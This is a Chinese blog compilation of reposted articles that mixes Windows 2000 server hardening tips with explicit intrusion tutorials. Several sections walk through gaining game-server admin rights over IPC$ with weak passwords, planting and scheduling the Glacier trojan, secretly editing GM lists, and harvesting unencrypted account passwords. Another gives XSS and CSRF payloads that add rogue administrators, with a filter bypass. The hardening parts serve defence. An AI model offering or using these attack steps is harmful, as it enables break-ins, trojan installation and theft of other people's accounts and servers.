2013年5月30日星期四

服务器安全配置精华

服务器安全配置精华

时间:2005-04-10 09:47 来源:网管之家bitsCN.com 字体:[ ]
来源:http://cqhk.14023.com

Windows2000 含有很多的安全功能和选项,如果你合理的配置它们,那么windows 2000将会是一个很安全的操作系统.。
初级安全篇

1.物理安全
服务器应该安放在安装了监视器的隔离房间内,并且监视器要保留15天以上的摄像记录。另外,机箱,键盘,电脑桌抽屉要上锁,以确保旁人即使进入房间也无法使用电脑,钥匙要放在另外的安全的地方。

2.停掉Guest 帐号
在计算机管理的用户里面把guest帐号停用掉,任何时候都不允许guest帐号登陆系统。为了保险起见,最好给guest 加一个复杂的密码,你可以打开记事本,在里面输入一串包含特殊字符,数字,字母的长字符串,然后把它作为guest帐号的密码拷进去。

3.限制不必要的用户数量
去掉所有的duplicate user 帐户, 测试用帐户, 共享帐号,普通部门帐号等等。用户组策略设置相应权限,并且经常检查系统的帐户,删除已经不在使用的帐户。这些帐户很多时候都是黑客们入侵系统的突破口, 系统的帐户越多,黑客们得到合法用户的权限可能性一般也就越大。国内的nt/2000主机,如果系统帐户超过10个,一般都能找出一两个弱口令帐户。我曾 经发现一台主机197个帐户中竟然有180个帐号都是弱口令帐户。

4.创建2个管理员用帐号
虽然这点看上去和上面这点有些矛盾,但事实上是服从上面的规则的。 创建一个一般权限帐号用来收信以及处理一些*常事物,另一个拥有Administrators 权限的帐户只在需要的时候使用。可以让管理员使用 “ RunAS” 命令来执行一些需要特权才能作的一些工作,以方便管理。

5.把系统administrator帐号改名
大家都知道,windows 2000 的administrator帐号是不能被停用的,这意味着别人可以一遍又一边的尝试这个帐户的密码。把Administrator帐户改名可以有效的防 止这一点。当然,请不要使用Admin之类的名字,改了等于没改,尽量把它伪装成普通用户,比如改成:guestone 。

6.创建一个陷阱帐号
什么是陷阱帐号? Look!>创建一个名为” Administrator”的本地帐户,把它的权限设置成最低,什么事也干不了的那种,并且加上一个超过10位的超级复杂密码。这样可以让那些 Scripts s忙上一段时间了,并且可以借此发现它们的入侵企图。或者在它的login scripts上面做点手脚。嘿嘿,够损!

7.把共享文件的权限从”everyone”组改成“授权用户”
“everyone” 在win2000中意味着任何有权进入你的网络的用户都能够获得这些共享资料。任何时候都不要把共享文件的用户设置成”everyone”组。包括打印共享,默认的属性就是”everyone”组的,一定不要忘了改。

8.使用安全密码
一个好的密码对于一个网络是非常重要的,但是它是最容易被忽略的。前面的所说的也许已经可以说明这一点了。一些公司的管理员创建帐号的时候往往用 公司名,计算机名,或者一些别的一猜就到的东西做用户名,然后又把这些帐户的密码设置得N简单,比如 “welcome” “iloveyou” “letmein”或者和用户名相同等等。这样的帐户应该要求用户首此登陆的时候更改成复杂的密码,还要注意经常更改密码。前些天在IRC和人讨论这一问 题的时候,我们给好密码下了个定义:安全期内无法破解出来的密码就是好密码,也就是说,如果人家得到了你的密码文档,必须花43天或者更长的时间才能破解 出来,而你的密码策略是42天必须改密码。

9.设置屏幕保护密码
很简单也很有必要,设置屏幕保护密码也是防止内部人员破坏服务器的一个屏障。注意不要使用OpenGL和一些复杂的屏幕保护程序,浪费系统资源,让他黑屏就可以了。还有一点,所有系统用户所使用的机器也最好加上屏幕保护密码。

10. 使用NTFS格式分区
把服务器的所有分区都改成NTFS格式。NTFS文件系统要比FAT,FAT32的文件系统安全得多。这点不必多说,想必大家得服务器都已经是NTFS的了。

11.运行防毒软件
我见过的Win2000/Nt服务器从来没有见到有安装了防毒软件的,其实这一点非常重要。一些好的杀毒软件不仅能杀掉一些著名的病毒,还能查杀大量木马和后门程序。这样的话,“黑客”们使用的那些有名的木马就毫无用武之地了。不要忘了经常升级病毒库

12.保障备份盘的安全
一旦系统资料被破坏,备份盘将是你恢复资料的唯一途径。备份完资料后,把备份盘防在安全的地方。千万别把资料备份在同一台服务器上,那样的话,还不如不要备份。


中级安全篇:


1.利用win2000的安全配置工具来配置策略
微软提供了一套的基于MMC(管理控制台)安全配置和分析工具,利用他们你可以很方便的配置你的服务器以满足你的要求。具体内容请参考微软主页:
http://www.microsoft.com/windows200...y/sctoolset.asp

2.关闭不必要的服务
windows 2000 的 Terminal Services(终端服务),IIS ,和RAS都可能给你的系统带来安全漏洞。为了能够在远程方便的管理服务器,很多机器的终端服务都是开着的,如果你的也开了,要确认你已经正确的配置了终 端服务。有些恶意的程序也能以服务方式悄悄的运行。要留意服务器上面开启的所有服务,中期性(每天)的检查他们。下面是C2级别安装的默认服务:
Computer Browser service TCP/IP NetBIOS Helper
Microsoft DNS server Spooler
NTLM SSP Server
RPC Locator WINS
RPC service Workstation
Netlogon Event log

3.关闭不必要的端口
关闭端口意味着减少功能,在安全和功能上面需要你作一点决策。如果服务器安装在防火墙的后面,冒的险就会少些,但是,永远不要认为你可以高枕无忧 了。用端口扫描器扫描系统所开放的端口,确定开放了哪些服务是黑客入侵你的系统的第一步。\system32\drivers\etc\services 文件中有知名端口和服务的对照表可供参考。具体方法为:
网上邻居>属性>本地连接>属性>internet 协议(tcp/ip)>属性>高级>选项>tcp/ip筛选>属性 打开tcp/ip筛选,添加需要的tcp,udp,协议即可。

4.打开审核策略
开启安全审核是win2000最基本的入侵检测方法。当有人尝试对你的系统进行某些方式(如尝试用户密码,改变帐户策略,未经许可的文件访问等 等)入侵的时候,都会被安全审核记录下来。很多的管理员在系统被入侵了几个月都不知道,直到系统遭到破坏。下面的这些审核是必须开启的,其他的可以根据需 要增加:
策略 设置
审核系统登陆事件 成功,失败
审核帐户管理 成功,失败
审核登陆事件 成功,失败
审核对象访问 成功
审核策略更改 成功,失败
审核特权使用 成功,失败
审核系统事件 成功,失败
[NextPage]
5.开启密码密码策略
策略 设置
密码复杂性要求 启用
密码长度最小值 6位
强制密码历史 5 次
强制密码历史 42 天

6.开启帐户策略
策略 设置
复位帐户锁定计数器 20分钟
帐户锁定时间 20分钟
帐户锁定阈值 3次

7.设定安全记录的访问权限
安全记录在默认情况下是没有保护的,把他设置成只有Administrator和系统帐户才有权访问。

8.把敏感文件存放在另外的文件服务器中
虽然现在服务器的硬盘容量都很大,但是你还是应该考虑是否有必要把一些重要的用户数据(文件,数据表,项目文件等)存放在另外一个安全的服务器中,并且经常备份它们。

9.不让系统显示上次登陆的用户名
默认情况下,终端服务接入服务器时,登陆对话框中会显示上次登陆的帐户明,本地的登陆对话框也是一样。这使得别人可以很容易的得到系统的一些用户名,进而作密码猜测。修改注册表可以不让对话框里显示上次登陆的用户名,具体是:
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\DontDisplayLastUserName
把 REG_SZ 的键值改成 1 .

10.禁止建立空连接
默认情况下,任何用户通过通过空连接连上服务器,进而枚举出帐号,猜测密码。我们可以通过修改注册表来禁止建立空连接:
Local_Machine\System\CurrentControlSet\Control\LSA-RestrictAnonymous 的值改成”1”即可。

10.到微软网站下载最新的补丁程序
很多网络管理员没有访问安全站点的习惯,以至于一些漏洞都出了很久了,还放着服务器的漏洞不补给人家当靶子用。谁也不敢保证数百万行以上代码的 2000不出一点安全漏洞,经常访问微软和一些安全站点,下载最新的service pack和漏洞补丁,是保障服务器长久安全的唯一方法。


高级篇:


1. 关闭 DirectDraw
这是C2级安全标准对视频卡和内存的要求。关闭DirectDraw可能对一些需要用到DirectX的程序有影响(比如游戏,在服务器上玩星际 争霸?我晕..$%$^%^&??),但是对于绝大多数的商业站点都应该是没有影响的。 修改注册表 HKLM\SYSTEM\CurrentControlSet\Control\GraphicsDrivers\DCI 的Timeout(REG_DWORD)为 0 即可。

2.关闭默认共享
win2000安装好以后,系统会创建一些隐藏的共享,你可以在cmd下打 net share 查看他们。网上有很多关于IPC入侵的文章,相信大家一定对它不陌生。要禁止这些共享 ,打开 管理工具>计算机管理>共享文件夹>共享 在相应的共享文件夹上按右键,点停止共享即可,不过机器重新启动后,这些共享又会重新开启的。
默认共享目录 路径和功能

C$ D$ E$ 每个分区的根目录。Win2000 Pro版中,只有Administrator
和Backup Operators组成员才可连接,Win2000 Server版本
Server Operatros组也可以连接到这些共享目录
ADMIN$ %SYSTEMROOT% 远程管理用的共享目录。它的路径永远都
指向Win2000的安装路径,比如 c:\winnt

FAX$ 在Win2000 Server中,FAX$在fax客户端发传真的时候会到。
IPC$ 空连接。IPC$共享提供了登录到系统的能力。
NetLogon 这个共享在Windows 2000 服务器的Net Login 服务在处
理登陆域请求时用到
PRINT$ %SYSTEMROOT%\SYSTEM32\SPOOL\DRIVERS 用户远程管理打印机

解决办法:
打开注册表编辑器。REGEDIT
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters
在右边建立一个名为AutoShareServer的DWORD键。值为0
[NextPage]

3.禁止dump file的产生
dump文件在系统崩溃和蓝屏的时候是一份很有用的查找问题的资料(不然我就照字面意思翻译成垃圾文件了)。然而,它也能够给黑客提供一些敏感信 息比如一些应用程序的密码等。要禁止它,打开 控制面板>系统属性>高级>启动和故障恢复 把 写入调试信息 改成无。要用的时候,可以再重新打开它。

4.使用文件加密系统EFS
Windows2000 强大的加密系统能够给磁盘,文件夹,文件加上一层安全保护。这样可以防止别人把你的硬盘挂到别的机器上以读出里面的数据。记住要给文件夹也使用EFS,而不仅仅是单个的文件。 有关EFS的具体信息可以查看
http://www.microsoft.com/windows200...ity/encrypt.asp

5.加密temp文件夹
一些应用程序在安装和升级的时候,会把一些东西拷贝到temp文件夹,但是当程序升级完毕或关闭的时候,它们并不会自己清除temp文件夹的内容。所以,给temp文件夹加密可以给你的文件多一层保护。

6.锁住注册表
在windows2000中,只有administrators和Backup Operators才有从网络上访问注册表的权限。如果你觉得还不够的话,可以进一步设定注册表访问权限,详细信息请参考:
http://support.microsoft.com/suppor...s/Q153/1/83.asp

7.关机时清除掉页面文件
页面文件也就是调度文件,是win2000用来存储没有装入内存的程序和数据文件部分的隐藏文件。一些第三方的程序可以把一些没有的加密的密码存在内存中,页面文件中也可能含有另外一些敏感的资料。 要在关机的时候清楚页面文件,可以编辑注册表
HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management
把ClearPageFileAtShutdown的值设置成1。

8.禁止从软盘和CD Rom启动系统
一些第三方的工具能通过引导系统来绕过原有的安全机制。如果你的服务器对安全要求非常高,可以考虑使用可移动软盘和光驱。把机箱锁起来扔不失为一个好方法。

9.考虑使用智能卡来代替密码
对于密码,总是使安全管理员进退两难,容易受到 10phtcrack 等工具的攻击,如果密码太复杂,用户把为了记住密码,会把密码到处乱写。如果条件允许,用智能卡来代替复杂的密码是一个很好的解决方法。

10.考虑使用IPSec
正如其名字的含义,IPSec 提供 IP 数据包的安全性。IPSec 提供身份验证、完整性和可选择的机密性。发送方计算机在传输之前加密数据,而接收方计算机在收到数据之后解密数据。利用IPSec可以使得系统的安全性能大大增强。


SF的必须开放端口,极其解决端口安全的方法
SF的必须开放端口,极其解决端口安全的方法
原作者:krish


传奇服务器开放端口+花生壳+一些必须端口
可以将这些端口使用TCP/IP筛选,只开放这些端口增加安全性,(开设其他服务,端口自己再加入)
TCP/IP筛选端口-> TCP断口
端口7220 .... RunGate 1 端口
端口7210 .... RunGate 2 端口 同时开启3个RunGate
端口7200 .... RunGate 3 端口
端口7100
端口7012
端口6000
端口5600
端口5500
端口5100
端口5000
端口4900
端口3389
端口3372
端口3100
端口3000
端口1027
端口1025
端口0135

\system32\drivers\etc\services 文件中有知名端口和服务的对照表可供参考。具体方法为:
网上邻居>属性>本地连接>属性>internet 协议(tcp/ip)>属性>高级>选项>tcp/ip筛选>属性 打开tcp/ip筛选,添加需要的tcp,协议即可。


我开了3个RunGate端口,解决多个玩家同时登陆访问时会出现7200错误而使服务器突然狂卡,开3个效果比较好。是*(ggggg7原创)
开3个RunGate端口的方法:
RunGate文件夹再复制2份 分别为RunGate1,RunGate2,RunGate3 将里面的Mirgate.ini分别改为GatePort=7200,GatePort=7210,GatePort=7220

DBSrv200文件夹下的!serverinfo.txt改为127.0.0.1 127.0.0.1 7200 127.0.0.1 7210 127.0.0.1 7220

Mir200文件夹下的!servertable.txt改为
1 127.0.0.1 7200
2 127.0.0.1 7210
3 127.0.0.1 7220

然后运行RunGate1,RunGate2,RunGate3 下的3个RunGate.exe

M2Server会提示:
Gate 0 opened
Gate 1 opened
Gate 2 opened
适当的加点防火墙会更好


私服的攻与防
本人崇尚私服技术!热情钻研私服!为营造一个好的游戏氛围而共同努力过!
前几*,本私服也同样遭受过黑客的攻击!但是研究了几次发现了漏洞的所在!
下面我先写如何入侵计算机的,我用的是WINDOWS 2000 SEVER
1 X-SCAN扫描IP 看看谁是弱口令(IP也非常容易得到,私服都有,弱口令就是用户名和密码都是系统默认的,没有改。)
2 打开DOS系统 在DOS下进行*作!
c:/>net use \\192.168.0.1\ipc$ /user:administrator 进入对方计算机USER进入的就是管理员用户。
进入了以后就好办了,可以找你要黑的私服!做GM也好,搞破坏删除也好,比如做GM吧!
c:/>copy \\192.168.0.1\d$\mirserver\mir200\envir\adminlist.txt 都是命令,可以看出来,其余的想怎么改就凭你了,但是我得解释一下!!这段代码目的很简单就是将D盘拷贝一个传奇GM的列表,你可以把你自己添加进去在编 辑!
c:\>edit \\192.168.0.1\d$\mirserver\mir200\envir\adminlist.txt
这样就可以了。这是利用弱口令进入计算机的方法!!当然了还有更多的方法。
我在讲讲我的 ** 传奇的遭黑的经历!
首先,就是鼠标乱动,很明显就是被人控制了,分析如下:1,中木马,2远程控制!
其次,有文件覆盖的对话框,计算机被突然重新启动!!分析如下:1,破坏系统,2,对传奇的控制!3,从新启动是为了黑客的设置生效!
再次,有非法GM制造物品,以被查出。分析如下:是针对传奇而来!
解决办法:用杀毒软件杀毒,最好在DOS下进行!2,是2000的漏洞太多,查找无用的端口,并关闭3389等,下载 2000 SP3 的补丁!在控制面板中选本地用户和组中关闭GUEST帐号!和 IUSR (计算机名)INTNERNET来宾帐号关闭(我的传奇就是黑客利用这个号进入计算机的),修改超级管理员用户名与密码! 在关闭远程访问等功能,另外,进攻传奇主要是GM列表,我同样也中过,现象是这样的,打开AdminList.txt文件,没有发现多的GM,利用 CTRL-A看看有没有多余的GM,另外仔细一看,在看AdminList.TXT的文件名后面有没有空格,设置文件全部显示,会发现是否多了一个隐藏 GM列表文件,这也是屡进不止的发现有非法GM的原因.黑客进攻我的计算机是用了2个小时就被我发现了,立即做了相应的修改,恢复了传奇的正常运行,至今 为止,仍然有人进入我的来宾帐号的警告,但是已经进不来了!传奇也步入了正常的运行当中!
虽然我写了一些如何进攻和防御计算机的方法和解决办法,我自己也觉得有点自相矛盾的想法,但是我的目的很是简单,希望能够帮助你解决你的问题!提高自己计算机的安全

[NextPage]

一些SF为什么存在非法GM的真正原因~

转帖

一些SF为什么存在非法GM的真正原因~
下面是怎么做非法GM而不在GM文件里表现出来,也不是什么后门的问题,请看转帖,希望大家严加防范~

如何在别人的私服做GM????
攻击初级教学
我在侵入别人4f所使用的方法

看到有些4f做的不错,但是进去又不是很有钱,也没装备,高手也很多,一直不喜欢在里面当菜鸟的我,一口气进入他们的服务器端大闹一番之后。当足了gm的瘾,现在我把方法公布与大家。。。。

其实我所使用的方法很简单,只有4个工具:

(一):shed.exe

(二)流光2000

(三)cmd.exe (其实就是2000下的dos啦)!

(四)冰河8.4 操作系统:win2000 server 或者winxp系统。 “shed.exe”:其实就是用来网上查共享资源的,速度快,可以查到很多服务断的共项文件,不过在这里面有些ip在浏览器中无法访问,这是因为其中也 包含了个人上网的ip.呵呵!一些作网站,网吧的服务器一些目录都是共享的,有些是可以访问,但是不能删除,因为你所访问的都是以匿名访问的,所以权限不 够!有些需要密码。遇到密码怎办?用流光! “流光”虽说对202作了限制,但是对小日本的ip可是没有限制的,呵呵!所以说使用流光的ipc探测,建立一个空对话,查到用户列表,然后先简单探测, 此时有些网管懒惰,把administrator设置的过于简单,呵呵,你就可以抓到了。

下一步如何做呢?也许在你查对方的端口时发现对方开的端口很少,比如ftp没开,怎办呢?冰河! “冰河”,想必许多朋友都玩过,使用冰河控制一台服务器速度很快,(因为服务器那边带宽很大)几分钟就可以查到对方主机的主页所在位置。但是如何上传并且 控制他呢? “cmd.exe” 是2000下的dos了,执行cmd.exe 使用net命令,

具体操作如下:

第一步:net use \\ip\ipc$ “password” /user:”user” 说明:以一个超级用户名与你想黑的网站建立联接,当然超级用户必须是该网站admin里的。这里的”ip”就是主机了,“password”就是超级用户 的密码,“user”就是超级用户。比如:net use \\210.248.250.2\ipc$ “maozhiie” /user:maozhijie

第二步:copy g-server.exe \\ip\admin$\system32 说明:g-server.exe就是冰河的远程服务器端。意义:将此文件拷贝到对方的主机winnt里的system32目录里。也许有人要问木马侵入对 方那边可以察觉出来的吧,呵呵!装了防火墙估计可以,不过很多主机没钱买呀!不像中国盗版满天飞!如果你有最新的木马也可以的!这是最好的了!!嘿嘿……

第三步:net time \\ip 察看对方的服务器时间。由于有时差,应该是一个小时吧!所以必须要以对方的服务器时间为准。

第四步:at \\ip time g-server.exe 这里的time就是对方的主机时间。作用:在规定时间执行该程序。比如 at \\210.248.250.2 19:55 g-server.exe 第五步:冰河就可以控制该电脑了。这个我就不说了吧,呵呵!菜鸟也会玩的软件。

这时我们就可以控制服务器了,

net use * \\ip\*$ 远程映射

看这个


mir.db里面有每个人的数据,并且没加密的,大家可以用
access找开来改一下,改几个极品,如0-80攻的木剑啊,0-50魔的六角戒指之类的,那就随你的便了。只是这样也太烦人了。呵呵。
比如武器,数据格式如下(全部是16进制)
** ** ** ** ce 00 43 12 88 13 01 02 03 04 05 06 07 08 09 00 00 0a
前面**的是物品代码,然后0xce 00 是武器代码(高位在后),和物品db数据库中对应,
例:物品数据库中屠龙是序号(idx)是205,对应到这里就是(205+1)转为16进制是ce
后面的 43 12是当前持久度,88 13是最大持久度。
例:43 12换算成十进制为17170,持久度为17
后面的01 02 03依次是攻击、魔法、道术。
注意是在原武基础上增加。
例:上面的屠龙显示出来是攻击:5-36,道术:0-2,魔法:0-3。
后面的04 05 06 07 08 09依次是武器的 幸运、诅咒、准确、攻击速度、强度。
后面两个空位后紧跟的0x0a是表示武器是否被修炼,具体来说
给武器加攻击时:
修炼前:00
修炼后:0a
试验成功后:00,攻击值增加。
对于首饰和衣服,自己研究吧,这有好多人都知道的吧,我没细写。网上这方面的文章是有的,我就不用多说了吧?
然后到,|mirserver\mud2\logsrv\iddb下
这里有个id.db所有人的帐号和密码都在了,你看着办吧,不过偷人家的号也不是什么光荣的事,我是从来不做的,只是常常会拿gm的号来reload一下。呵呵

这里,我把你边走边看加到这个服务器的adminlist,呵呵,这里是打个比方,这里加入你的名字),然后,我们到mir.db中找出gm的帐 号,再到id.db中找出这个帐号的密码。好了,ok了,用gm号进入游戏(进之前m一下他啊,不要让人家发现了,也不要改人家的密码,让人家发现了多不 好啊,呵呵)。打命令@reloadadmin。立刻out吧。
然后,把你加入adminlist的人物从adminlist里删除,好了,你进去游戏吧,你是gm了,可是真正的gm是不会从服务器端看到你的 名字呢!!他也许在想“这里怎么了啊?好像还有个gm???”。呵呵,不过不要过火了,不然人家一个reload你的权限就没了啊。
到这里大家做gm的梦就完成了,下面我说的就是怎么远程控制服务器主机了,比如给他关机啊重启啊····
[NextPage]

私服技术我是一点都不懂。不过服务器安全方面还是略懂一二哦!
服务器入侵主要靠的是帐号与密码。大家要先明白什么是系统帐号。什么是系统密码!
其它WINDOWS每一个系统都有着他的超级管理员帐号与密码!
一但这些被黑客扫描到的话,哪么你将会得到一个恐怕的威胁!
当你私服是人气高的时候。给黑客入侵的话,哪要是万一给删了数据。到时候。真的是惨不忍堵。
一:了解一下帐号的含义
先运行CMD
然后输入:net user(回车健)
这样后,会显示一例帐号
再查看管理员帐号
输入:net localgroup administrators
这就是查看administrators组的用户。这样的话若是人家用隐藏帐号的方法也会查出来!
系统自带的超级管理员帐号是administrator
记住这里显示出来多个帐号不明的帐号。哪就证明你机器不安全了。若出现在的帐号都是你自已的帐号。哪百分之四十你机器未被入侵
帐号安全:
二:密码篇
你若觉得自已的帐号密码是123456哪么不出三秒人家就到你机上一游了。
修改密码方法,在DOS下修改更安全
输入net user 帐号名 需修改密码(然后回车健)
一般密码设复杂一点!


溢出:
2000服务器版装下去会自动装IIS的,若你觉得IIS没有什么用就停止。IIS地址:开始》》程序》》管理工具》》Internet信息服务 (这个就是IIS)你将他开启。上面按停止!这样就进一步安全了。不过若IIS你需要用的话,哪么记得打目前最新的补丁SP4哦。

RPC溢出。大家记住,试试telnet IP 135看看有没有开着。若是开着。请打RPC补丁。若找不到。干脆装个防火墙,将135端屏蔽!

大家千万要记住。入侵系统最关点的就是要帐号密码。保护好自已帐号与密码。安全一定属于你!
本文引起广大4f拥有者的注意
入侵传奇私服/充当非法GM。
首先,我得声明,我写本文并不是教大家如何去黑4f,只是想以本文引起广大4f拥有者的注意
,提高自己的网管水平。
我爱玩游戏,但却玩得很菜,也没有时间去玩,只想玩着过瘾,所以,当我开始玩传奇时,
虽觉得是好玩,但玩盛大的简直是在受罪,升级慢,没好装备,处处受人欺负。所以,4f是明
智的选择,但进去时也没有好装备,也是受人欺负,难道我不可以做gm?试试,folling me!
找来一大堆4f的ip,开个x-scan扫吧。有了,还真不少,都是弱口令的,这些网管真菜呀。
选好一个,192.168.0.1,go!
打开cmd,
1)c:/>net use 192.168.0.1ipc$ /user:administrator
连接成功,
ok,连上了,成功在望,
2)c:/>copy 192.168.0.1d$mirservermir200enviradminlist.txt
系统找不到指定的文件。
没有?不可能吧?唔,一定是隐藏了,没关系,再来,
3)c:>attrib -r -h 192.168.0.1d$mirservermir200enviradminlist.txt
没有提示,成功了,
这次连复制也不用了,直接改吧,
4)c:>edit 192.168.0.1d$mirservermir200enviradminlist.txt
会打开个介面,看看里面有哪些gm,加个吧,自己记得就行了,改完保存退出
5)c:>attrib +r +h 192.168.0.1d$mirservermir200enviradminlist.txt
把adminilist.txt还原成只读隐藏,
好了,大功告成,快打扫脚印吧,别让人发现被入侵了,
现在,就等着系统重启了,等不及的话就在第五步让它重启,不过这样太危险了,还是等吧

第二天注册个帐号,新建个之前加的人名进去,
/who
当前150人在线
哈,我就是gm了。赶快把自己升级,
@level -1
升级成功,255级,哈哈
再造出想要的装备,想要什么尽情造吧,
重复上面的把自己从adminlist.txt里删了,哈哈,好装备到手了,可以玩了

面记得有位朋友对加强对服务器安全性的解决方法进行了一系列的说明,讲得非常详细,但是我觉得还有很多需要补充的地方.微软的系统是漏洞和补丁著称,真正要对服务器的安全配置确实非常困难,考虑的方面也太多了.
今天先讲一个方面的内容了,也算是对前面的朋友的进一步补充吧!
前面那位朋友所概述的主要是针对WIN2000系统弱口令的安全设置!他已经说得很仔细了,做到那些,口令这一关差不多了.确实在互联网的时代, 口令真的非常重要.我对国外的主机进行了一系列的测试,就拿有弱口令的系统来说,还有不少!其中也包括了不少中小型企业的WEB服务器,E- MAIL,PROXY服务器都有这种低级的错误!
如果说你在这方面做得非常的仔细.但你至少还要仔细研究一下你主机现在所运行的有哪些服务,这些服务代表着什么?你应该很清楚!因为现在黑客软 件,木马工具,远程控制软件大多是以一种服务的形式运行在你的服务器系统里,一般的防火墙,杀毒软件对其并没有任何反映的.对于服务形式出现的控制工具. 比较难得发现,所以你就必须在服务器里运行的哪些服务非常熟悉.对于陌生或奇怪的服务应该安全设置好.
下面我都WIN2000的WWW(IIS)服务器安全配置略讲一下,WWW服务在 WIN2000SERVER,ADSERVER,DATACENTERSERVER,版本中是默认安装的,如果你不需要用2000的WWW服务的话,建议 不要安装.至于添加/删除你可以控制面板的去掉他的安装,或者在管理工具/服务里设置WORD WIDE WEB SERVICE启动类型为手动/禁用
这样的话系统就不默认启动改服务!
如果你需要用IIS来建站宣传一下自己的私服,你就必须按以下方法安全配置好IIS,
在IIS组件你首先要去掉你不需要的SMTP,SNNP,FTP,这样的话你可以降低你服务器运行所占用的CPU资源,和内存使用率.然后建议你 删除你C:\INTERPUB\目录下的所有内容!或者更改路径.在IIS管理器中删除默认站点,(或者删除SCRIPTS这个虚拟目录)因为这个目录有 可写的权限的.在新建的WEB站点中,设置IIS的权置,必须让它不能写入,或运行.因为IIS是默认支持ASP脚本的.然后在IIS中删除不需要的映 射,这个很重要.如果你要支持PHP,CGI脚本的话,你还得配置好PHP.CGI的应用程序的正确映射,禁用或删除FSO组件,(去年深圳之窗就是被人 家利用FSO黑了......)如果你要使用FSO的话,最好要改名!否则的话,你给别人提供主页上传的话,你肯定是会被黑的.小心呀!
目前在黑客横行的互联网空间中,利用IIS的漏洞,提申自己的权限,而成为AD,这些只是轻而易举的事情,这不需要花几天的时间去暴力破解一下口 令,像自己架设的WEB服务器有种情况,更是数不甚数了.关于怎利用UNICODE漏洞去提供AD权限的文章,网上太多了,我就不多讲了.
这些来说应该是服务器安全防范方面的一个例子而已,真正要做到服务器的安全运行,需要你花大量的时间去摸索.因为这些来说,足以应付一些无聊的.....当然了,你如果需要WEB服务器,我还是建议你去使用AP了.他的源代码开发,免费,安全性稳定性都比IIS强得多了.
如果你还有许多要和我讨论的问题,可以直接与我联系了.到于LINUX的安全性问题,AP的问题,2000的一些防黑措拖,以及反黑,跟踪黑客攻击

xss入侵方式小结

xss入侵方式小结
2012-05-07 10:23:15     我来说两句      
收藏    我要投稿
一般发现一个xss漏洞后要做的基本上就是这些:


1.  伪造请求  使用$_REQUEST或$_GET



首先我们要找找该网站使用的程序是不是在网上能找到源码,如果能找到源码的话,就去分析后台管理员更改密码或者增加管理员的页面,然后分析管理员使用的是 不是$_REQUEST接收参数,如果是的话,我们使用该XSS漏洞构造一个请求,比如前台发表留言中可以使用HTML代码,那么我们就嵌入一个IMG元 素:

<img src="/admin/admin_add.asp?name=xxx&psd=yyy" />

当管理员登录管理后台后看到包含img的页面的时候,就伪造了一个增加后台管理员的请求,而该请求是由管理员发出的,所以顺利的增加了一个新的管理员。



如果是可视文本编辑器,可以尝试使用输入:

http://www.123.com/xxx.jpg" onload="window.open('/admin/admin_add.asp?name=xxx&psd=yyy')

这样最终会构造出:

<img src=http://www.2cto.com/uploadfile/2012/0507/20120507103604128.jpg" onload="window.open('/admin/admin_add.asp?name=xxx&psd=yyy',0,0)" />

总之要举一反三。

 


2. 伪造请求  使用$_POST



当后台接收增加管理员或更改管理密码的变量时使用的是$_POST方式,那么第一种方法无效,我们视情况而定,如果没有过滤<script>,我们可以通过ajax方式来伪造请求,如:

<sc/*xss*/ript type="text/javascript">

var aj = new ActiveXObject("MSXML2.XMLHTTP.3.0");

aj.open("POST", "/admin/admin_add.asp", false);

var postdata = 'name=xxx&psd=yyy';

aj.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

aj.send(postdata);

</scr/*xss*/ipt>

/*xss*/是HTML注释,用来绕过简单的对script代码块的过滤。







3. 跨站伪造请求 使用$_GET 或$_REQUEST



与第一种伪造请求的方式相似,但是第一种伪造请求是利用站内的xss漏洞进行的,而跨站伪造请求,是站外发起的,比如我在我的博客的首页放了这样一个图片

<img src="http:// www.2cto.com /admin/admin_add.asp?user=xxx&psd=yyy"/>

然后我跑到dvbbs上发帖子,“勾引”动网论坛的管理员来我的博客,如果动网论坛的管理员已经登录了他的管理后台,然后使用共享进程的浏览器(目前基于ie内核的myie,maxton等等还有firefox都是共享进程的)来访问我的博客,那么他的后台就会被加入一个用户。





4.跨站伪造请求 使用$_POST(0day)



如果入侵目标的管理后台使用的是$_POST方式来接受变量,那么我们无法在我们的网站跨站使用ajax的post方式提交数据过去,因为ajax是无法跨域的。



但是我们可以在我们的网站放一个form,里面填写好数据,form的action为要利用的有漏洞的页面,然后当有人打开该页面的时候,我们就用js控制该form进行submit,ajax虽然不能跨域,但向域之外的地址提交form总是可以的。





总之,第3,4种方法成功几率要小一些,因为我们要想办法让已经登录自身后台的管理员,使用共享session的浏览器访问我们的伪造请求的页面,有一点社会工程学的技术含量

黑客入侵Web服务器常用的八种方法

 


阅读次数:637  作者:佚名 来源:本站整理 发布时间:2011-08-05 14:03:48
1
0
服务器一般都很容易成为黑客们的入侵对象,本文向广大的网管员们介绍了黑客们常用的八种入侵攻击方式,供大家参考!
  一、WEB服务器面临威胁
  在了解WEB服务器的安全状况之前,首先要让大家了解网站安全的另一面——黑客攻击。97至98年互联网开始在中国兴起之时,黑客就已经诞生了,在 98年印尼排华事件中,中国黑客对印尼ZF网站的打击行动通过媒体的渲染,让黑客一词进入了广大中国网民的眼帘。随着几次黑客大战的爆发以及媒体对黑客的 渲染,让更多人加入了黑客这个队伍。那么黑客都是通过怎样的技术手段实施攻击的呢?97年到2002年以来,除了比较有名的UNICODE漏洞之外,黑客 们大部分都是利用系统的各种溢出漏洞来实施入侵,包括像ipc共享空连接漏洞,ida/idq,printer漏洞,rpc漏洞等等。2003年,中国互 联网开始从01年的互联网寒冬逐渐走向复苏,盛大、分众传媒、空中网等一系列IT企业分别在纳斯达克上市成功更进一步激起了更多IT从业人员开始开设网站 和成立IT公司,梦想有一日能上纳斯达克拿美国股民的钱。网站数量的激增以及大家对网络安全的轻视,导致通过WEB的各种漏洞来进行入侵的事件越来越多。 SQL注入漏洞随着黑客高手们一次又一次地使用在拿国内外游戏数据库和游戏网站的权限,并高价卖出,买车买房子之时,SQL注入以及相关技术在黑客的群体 中普及开来。黑客们在比尔.盖茨先生弥补了大部分系统漏洞之后,开始转移方向,发现基于网站的各种脚本漏洞能非常轻易的使用, 而且能够通过提权来获取系统权限。于是,基于web的脚本漏洞成功黑客们的最爱。随后流氓软件开始在中国的互联网大地上盛行了起来,互联网的网站应用领域 的黑客入侵技术开始流行了起来。最典型的就是黑客的网站挂马技术,这种技术就是利用网站的漏洞建立或者上传一个ASP木马的方式来获取网站的 WEBSHELL权限,然后通过WEBSHELL权限通过提权获取系统权限,再接着就是在服务器的网站里面加入一些恶意的脚本代码,让你的电脑在访问网站 